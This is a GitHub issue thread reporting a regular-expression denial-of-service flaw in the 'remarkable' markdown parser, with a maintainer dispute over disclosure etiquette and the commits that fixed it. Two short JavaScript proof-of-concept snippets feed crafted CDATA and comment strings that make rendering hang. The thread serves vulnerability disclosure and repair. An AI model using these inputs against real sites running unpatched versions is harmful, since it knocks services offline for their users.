Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Security] Regex DoS vulnerability in parsing html tag #331

Closed
trichimtrich opened this issue May 13, 2019 · 3 comments · Fixed by #335
Closed

[Security] Regex DoS vulnerability in parsing html tag #331

trichimtrich opened this issue May 13, 2019 · 3 comments · Fixed by #335

Comments

@trichimtrich
Copy link

If you guys are not familiar with this type of bug, here is the detail explanation:
https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS

Vulnerable line of code:
https://github.com/jonschlinkert/remarkable/blob/master/lib/common/html_re.js#L47

PoC

var Remarkable = require('remarkable');
var md = new Remarkable('commonmark');

console.log(md.render(`# Remarkable rulezz!
<a>z</a><![CDATA[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa]] >

`));
// => <h1>Remarkable rulezz!</h1>

This will hang forever due to the regex matching of CDATA tag.

@trichimtrich
Copy link
Author

Same problem with comment regex
https://github.com/jonschlinkert/remarkable/blob/master/lib/common/html_re.js#L44

var Remarkable = require('remarkable');
var md = new Remarkable('commonmark');

console.log(md.render(`# Remarkable rulezz!
<a>z</a><!--aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa--->
`));
// => <h1>Remarkable rulezz!</h1>

@jonschlinkert
Copy link
Owner

jonschlinkert commented May 13, 2019

Are you familiar with Responsible Disclosure?

If you guys are not familiar with this type of bug, here is the detail explanation:

We're very familiar. RegExp, in general, can be exploited in an infinite number of ways when contrived examples are given.

Generally, I only see issues for very obscure corner cases like this (e.g. something that has close to zero chance of ever happening in reality) when someone is being paid by Snyk or a similar organization to hunt down such cases using a tool that automatically calculates star height.

The problem with such tools, and issues like this, is that it's impossible to determine if something is a real vulnerability without providing specific input. Meaning, anyone can create an artificial vulnerability when the following conditions are met:

  1. You have full access to the original source code (will end-users have full access to the source code in the scenario you're describing). This gives you the ability to find scenarios where very specific input can cause a regular expression to be malicious.
  2. End-users can then publish the result of some transformation without any intermediate filters or security checks. In other words, no site should ever allow code like what you're describing to be published without sanitizing it first.

I encourage you to always contact the maintainer first, and instead of creating an issue, if you understand the problem as well as you've described, a pull request with a fix is far more useful to everyone than an issue.

@trichimtrich
Copy link
Author

trichimtrich commented May 14, 2019

Hi jonschlinkert,

I figured out this case while doing blackbox audit for some internal apps. In most case, the module is embed in frontend and not so hard to detect it (via source map file or some recon process in webpack). I put the malicious payload into the app, and everyone couldn't access the site for working.
For backend side, I think there are a lot of open source projects is using the library for processing markdown (due to the huge download rate on NPM).

You have full access to the original source code (will end-users have full access to the source code in the scenario you're describing). This gives you the ability to find scenarios where very specific input can cause a regular expression to be malicious.

For vulnerable cases above, our developers have fixed them manually and done directly by modifying in the module, because its happened while processing output. So there is noway to fix it by sanitizing the output after.

End-users can then publish the result of some transformation without any intermediate filters or security checks. In other words, no site should ever allow code like what you're describing to be published without sanitizing it first.

From my view as a security engineer, I see that the surface of this attack is quite open and serious, also the root cause of the problem is from the module implementation itself. So that why I decide to report to you guys.

Also, I found several bugs which comes from the nature of markdown, but only this one and #332 are reported, because they depend on the implementation.

Im not really familiar with JS community and programming as well, it would take a lot of time (compare to you guys) for outsider like us to make real contribution such as pulling request or reporting issue to every maintainers :D. It's super great if someone with more knowledge could help fix.

I'm so sorry if you feel that way, my request was impolite and public. I couldn't find any private bug tracker.

Thank you,

dominykas added a commit to dominykas/remarkable that referenced this issue Jul 26, 2019
dominykas added a commit to dominykas/remarkable that referenced this issue Jul 26, 2019
TrySound pushed a commit that referenced this issue Jul 27, 2019
fix: prevent a ReDoS vulnerability

Ported from markdown-it/markdown-it@89c8620.

fix: prevent ReDoS with comments

Once again - prior art: markdown-it/markdown-it@6ab7cc3

Hat tip @DanCech #335 (comment) for pointing out #331 (comment), which I missed initially
TrySound pushed a commit that referenced this issue Jul 29, 2019
fix: prevent a ReDoS vulnerability

Ported from markdown-it/markdown-it@89c8620.

fix: prevent ReDoS with comments

Once again - prior art: markdown-it/markdown-it@6ab7cc3

Hat tip @DanCech #335 (comment) for pointing out #331 (comment), which I missed initially
bestlucky0825 pushed a commit to bestlucky0825/remarkable that referenced this issue May 30, 2022
fix: prevent a ReDoS vulnerability

Ported from markdown-it/markdown-it@89c8620.

fix: prevent ReDoS with comments

Once again - prior art: markdown-it/markdown-it@6ab7cc3

Hat tip @DanCech jonschlinkert/remarkable#335 (comment) for pointing out jonschlinkert/remarkable#331 (comment), which I missed initially
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants